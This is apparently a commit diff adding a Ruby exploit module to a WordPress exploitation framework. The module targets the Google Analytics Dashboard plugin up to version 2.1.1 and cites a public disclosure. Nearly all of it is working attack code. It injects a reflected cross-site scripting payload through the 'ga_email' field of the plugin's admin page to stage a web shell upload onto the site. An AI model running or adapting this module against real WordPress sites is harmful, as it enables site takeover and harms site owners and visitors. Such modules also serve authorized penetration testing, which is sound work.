Add Google Analytics Dashboard reflected XSS shell upload

Author: rastating

modules/exploits/google_analytics_dashboard_reflected_xss_shell_upload.rb

@@ -0,0 +1,39 @@
+class Wpxf::Exploit::GoogleAnalyticsDashboardReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Google Analytics Dashboard <= 2.1.1 Reflected XSS Shell Upload',
+      author: [
+        'Yorick Koster',                  # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8747'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_google_analytics_dashboard_wordpress_plugin.html']
+      ],
+      date: 'Mar 02 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('google-analytics-dashboard', '2.1.2')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'gad_login_type' => 'client',
+      'ga_email' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
+      'ga_pass' => Utility::Text.rand_alphanumeric(6),
+      'ga_save_pass' => 'ga_save_pass',
+      'SubmitLogin' => 'Login'
+    )
+  end
+end